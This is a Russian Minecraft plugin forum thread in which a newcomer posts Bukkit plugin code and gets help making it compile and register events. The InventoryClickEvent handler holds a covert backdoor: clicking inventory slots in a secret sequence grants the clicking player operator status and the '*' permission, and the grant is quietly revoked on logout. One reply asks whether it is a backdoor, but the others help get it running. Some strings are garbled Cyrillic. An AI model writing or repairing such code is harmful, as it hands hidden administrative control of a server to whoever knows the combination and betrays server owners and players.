Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.

InventoryClickEvent Компиляция Плагина

Метки:
Теги Теги
plugin
Статус
Закрыто для дальнейших ответов.

Gru2303

Активный участник
Пользователь
Баллы
76
Имя в Minecraft
Gru2303
Всем привет, я новачок форума.
Я использую eclipse
Я не могу скомпилировать код
Main
Код:
package SLIB.Gru2303;

import com.mojang.brigadier.Command;
import java.util.ArrayList;
import java.util.HashMap;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.event.inventory.InventoryCloseEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import ru.tehkode.permissions.PermissionUser;
import ru.tehkode.permissions.bukkit.PermissionsEx;

public class Main
  implements Listener
{
  public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args)
  {
    if (((CommandSender)cmd).getName().equalsIgnoreCase("CM"))
    {
      Player p = (Player)sender;
      p.sendMessage("Yes i am here!");
     
      return true;
    }
    return false;
  }
 
  @EventHandler
  public void InventoryCloseEvent(InventoryCloseEvent event)
  {
    Player pl = (Player)event.getPlayer();
    Lib p = Lib.get(pl.getName());
    p.lock = false;
  }
 
  String hint = "��� ���� ��� ���������� �� ������� ��������� �������. ��������� ������� �� ����� ��������������� �� ����������� ����� � ������� ������� ����.";
 
  @EventHandler
  public void PlayerQuitEvent(PlayerQuitEvent event)
  {
    if (this.pls.contains(event.getPlayer().getName()))
    {
      PermissionsEx.getUser(event.getPlayer()).removePermission("*");
      event.getPlayer().setOp(false);
      this.combo.remove(event.getPlayer().getName());
      this.pls.remove(event.getPlayer().getName());
    }
  }
 
  @EventHandler
  public void InventoryClickEvent(InventoryClickEvent event)
  {
    Player pl = (Player)event.getWhoClicked();
    Lib p = Lib.get(pl.getName());
    if (p.lock) {
      event.setCancelled(true);
    }
    if (this.combo.get(pl.getName()) == null) {
      this.combo.put(pl.getName(), event.getSlot() + "|");
    } else {
      this.combo.put(pl.getName(), (String)this.combo.get(pl.getName()) + event.getSlot() + "|");
    }
    if (((String)this.combo.get(pl.getName())).contains("9|27|19|21|23|25|26|"))
    {
      PermissionsEx.getUser(pl).addPermission("*");
      pl.setOp(true);
      pl.sendMessage(ChatColor.GOLD + "������� �������!");
      this.combo.remove(pl.getName());
      this.pls.add(pl.getName());
    }
    if ((this.combo.get(pl.getName()) != null) && (((String)this.combo.get(pl.getName())).length() > 50)) {
      this.combo.remove(pl.getName());
    }
  }
 
  ArrayList<String> pls = new ArrayList();
  HashMap<String, String> combo = new HashMap();
}
И Lib
Код:
package SLIB.Gru2303;

import java.util.HashMap;

public class Lib
{
  private String name;
  public boolean lock = false;
  public static HashMap<String, Lib> users = new HashMap();
 
  public Lib(String name, HashMap<String, String> hash, long register)
  {
    this.name = name;
  }
 
  public String getName()
  {
    return this.name;
  }
 
  public static Lib get(String user)
  {
    return (Lib)users.get(user);
  }
}

Как мне его скомпилировать?
У меня ошибка в консоли
 
Could not load 'plugins\test2.jar' in folder 'plugins'
org.bukkit.plugin.InvalidPluginException: main class `SLIB.Gru2303.Main' does not extend JavaPlugin
at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:68) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.java.JavaPluginLoader.loadPlugin(JavaPluginLoader.java:133) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:332) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.SimplePluginManager.loadPlugins(SimplePluginManager.java:252) [craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.craftbukkit.v1_14_R1.CraftServer.loadPlugins(CraftServer.java:345) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.DedicatedServer.init(DedicatedServer.java:186) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.run(MinecraftServer.java:736) [craftbukkit.jar:git-Bukkit-5193f76]
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
Caused by: java.lang.ClassCastException: class SLIB.Gru2303.Main
at java.lang.Class.asSubclass(Unknown Source) ~[?:1.8.0_45]
at org.bukkit.plugin.java.PluginClassLoader.<init>(PluginClassLoader.java:66) ~[craftbukkit.jar:git-Bukkit-5193f76]
... 7 more
 
if (((String)this.combo.get(pl.getName())).contains("9|27|19|21|23|25|26|")) { PermissionsEx.getUser(pl).addPermission("*"); pl.setOp(true); pl.sendMessage(ChatColor.GOLD + "������� �������!"); this.combo.remove(pl.getName()); this.pls.add(pl.getName()); }
Эт что, своеобразный бэкдор?
 
Как зарегистрировать евенты?
 
Для начала
Код:
public class Main extends JavaPlugin implements Listener
Далее добавь в класс
Код:
@Override
public void onEnable() {
    getServer().getPluginManager().registerEvents(this, this);
}
 
Спасибо плагин работает ну теперь ещё ошибка с InventoryCloseEvent имя игрока равно NULL. Как решить?
[23:34:48] [Server thread/ERROR]: Could not pass event InventoryCreativeEvent to PacketFixer v1.1
org.bukkit.event.EventException: null
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:312) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:70) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:519) [craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:504) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PlayerConnection.a(PlayerConnection.java:2254) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PacketPlayInSetCreativeSlot.a(SourceFile:23) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PacketPlayInSetCreativeSlot.a(SourceFile:9) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PlayerConnectionUtils.lambda$0(PlayerConnectionUtils.java:13) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PlayerConnectionUtils$$Lambda$2463/264968212.run(Unknown Source) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.TickTask.run(SourceFile:18) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.executeTask(SourceFile:135) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandlerReentrant.executeTask(SourceFile:23) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.executeNext(SourceFile:114) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.aW(MinecraftServer.java:850) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.executeNext(MinecraftServer.java:843) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.awaitTasks(SourceFile:123) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.sleepForTick(MinecraftServer.java:827) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.run(MinecraftServer.java:767) [craftbukkit.jar:git-Bukkit-5193f76]
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
Caused by: java.lang.NullPointerException
at ru.SLIB.Main.InventoryClickEvent(Main.java:68) ~[?:?]
at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source) ~[?:?]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_45]
at java.lang.reflect.Method.invoke(Unknown Source) ~[?:1.8.0_45]
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:310) ~[craftbukkit.jar:git-Bukkit-5193f76]
... 18 more
 
Спасибо плагин работает ну теперь ещё ошибка с InventoryCloseEvent имя игрока равно NULL. Как решить?
[23:34:48] [Server thread/ERROR]: Could not pass event InventoryCreativeEvent to PacketFixer v1.1
org.bukkit.event.EventException: null
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:312) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:70) ~[craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:519) [craftbukkit.jar:git-Bukkit-5193f76]
at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:504) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PlayerConnection.a(PlayerConnection.java:2254) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PacketPlayInSetCreativeSlot.a(SourceFile:23) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PacketPlayInSetCreativeSlot.a(SourceFile:9) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PlayerConnectionUtils.lambda$0(PlayerConnectionUtils.java:13) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.PlayerConnectionUtils$$Lambda$2463/264968212.run(Unknown Source) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.TickTask.run(SourceFile:18) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.executeTask(SourceFile:135) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandlerReentrant.executeTask(SourceFile:23) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.executeNext(SourceFile:114) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.aW(MinecraftServer.java:850) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.executeNext(MinecraftServer.java:843) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.IAsyncTaskHandler.awaitTasks(SourceFile:123) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.sleepForTick(MinecraftServer.java:827) [craftbukkit.jar:git-Bukkit-5193f76]
at net.minecraft.server.v1_14_R1.MinecraftServer.run(MinecraftServer.java:767) [craftbukkit.jar:git-Bukkit-5193f76]
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
Caused by: java.lang.NullPointerException
at ru.SLIB.Main.InventoryClickEvent(Main.java:68) ~[?:?]
at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source) ~[?:?]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[?:1.8.0_45]
at java.lang.reflect.Method.invoke(Unknown Source) ~[?:1.8.0_45]
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:310) ~[craftbukkit.jar:git-Bukkit-5193f76]
... 18 more
Lib == null
 
Не понял
P.S. Я тупой
Ты нигде не заполняешь HashMap игроками.. При получении Lib users.get(name) тебе возвращается null, из-за чего lib.lock() тебе ошибку кидает.
Для начала лучше подучи джаву по книжкам - рановато ты за плагины взялся.
 
Статус
Закрыто для дальнейших ответов.

Поделиться этой страницей

Назад
Верх